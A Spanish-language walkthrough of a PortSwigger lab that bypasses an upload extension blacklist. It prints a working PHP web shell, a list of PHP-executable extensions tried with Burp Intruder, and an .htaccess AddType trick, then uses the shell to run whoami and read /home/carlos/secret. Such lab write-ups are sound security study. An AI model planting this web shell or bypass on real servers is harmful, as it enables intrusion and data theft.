Web shell upload via extension blacklist bypass
Laboratorio de Portswigger sobre File Upload Vulnerabilities
Certificaciones
- eWPT
- eWPTXv2
- OSWE
- BSCP
Descripción
Este laboratorio contiene una función de carga de imágenes vulnerable, ciertas extensiones de archivo están blacklisteadas, pero esta defensa puede ser eludida debido a una falla fundamental en la configuración de esta blacklist. Para resolver el laboratorio, debemos subir una web shell básica en PHP, utilizarla para extraer el contenido del archivo /home/carlos/secret y enviar este secreto utilizando el botón proporcionado en la barra del laboratorio. Podemos iniciar sesión con nuestra propia cuenta utilizando las siguientes credenciales: wiener:peter
Guía de file upload vulnerabilities
Antes de completar este laboratorio es recomendable leerse esta guía de file upload vulnerabilities https://justice-reaper.github.io/posts/File-Upload-Vulnerabilities-Guide/
Resolución
Al acceder a la web nos sale esto
Pulsamos en My account e iniciamos sesión con las credenciales wiener:peter
Vemos que existe un campo de subida de archivos
Si inspeccionamos con donde se aloja la imagen vemos que es en la ruta /resources/images
Nos creamos un archivo llamado shell.php y lo subimos
1
2
3
<?php
echo "<pre>" . system($_REQUEST['cmd']) . "</pre>";
?>
Al subir el archivo nos sale un error
Subimos el archivo nuevamente y capturamos la petición con Burpsuite
En Hacktricks hay una lista de extensiones que pueden interpretar código php https://book.hacktricks.xyz/pentesting-web/file-upload#file-upload-general-methodology, nos creamos una lista con estas extensiones
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
# cat extensions.txt
.php
.php2
.php3
.php4
.php5
.php6
.php7
.phps
.phps
.php
.phtm
.phtml
.pgif
.shtml
.htaccess
.phar
.inc
.hphp
.ctp
.module
Mandamos la petición al intruder de Burpsuite y seleccionamos la extensión
Nos vamos a Payloads, pulsamos en Load, cargamos la lista de extensiones, en la parte inferior de esta ventana desmarcamos el Payload encoding y pulsamos en Start attack
Abrimos nuevamente el inspector de chrome y vemos que el archivo subido se aloja en /files/avatars
Desde el repeater de Burpsuite he ido mandando los payloads manualmente hasta que he dado con el .phar el cual si me ha interpretado https://0a20003e03543e85818a53bf005100f3.web-security-academy.net/files/avatars/shell.phar?cmd=whoami, he tenido que hacerlo de esta forma porque los archivos subidos se van eliminando
Listamos el contenido de la home de carlos https://0a20003e03543e85818a53bf005100f3.web-security-academy.net/files/avatars/shell.phar?cmd=ls%20/home/carlos
Obtenemos el contenido del archivo secret https://0a20003e03543e85818a53bf005100f3.web-security-academy.net/files/avatars/shell.phar?cmd=cat%20/home/carlos/secret
Otra alternativa es subir un archivo .htaccess que haga que una extensión random se interprete como php. Para ello nos creamos un archivo llamado htaccess con este contenido y lo subimos
1
AddType application/x-httpd-php .pwned
Cuando pulsamos sobre upload tenemos que capturar la petición y cambiarle el nombre del archivo, de htaccess a .htaccess. Esto lo tenemos que hacer ahora porque si lo hubiéramos hecho antes, thunar no hubiera podido encontrar el archivo, ya que estaba oculto
Si ahora nos creamos un archivo llamado shell.pwned con este contenido y lo subimos
1
2
3
<?php
echo "<pre>" . system($_REQUEST['cmd']) . "</pre>";
?>
Podemos acceder a https://0a20003e03543e85818a53bf005100f3.web-security-academy.net/files/avatars/shell.pwned?cmd=whoami y comprobar que podemos ejecutar comandos
Obtenemos el contenido del archivo secret https://0a20003e03543e85818a53bf005100f3.web-security-academy.net/files/avatars/shell.pwned?cmd=cat%20/home/carlos/secret
Submiteamos la solución















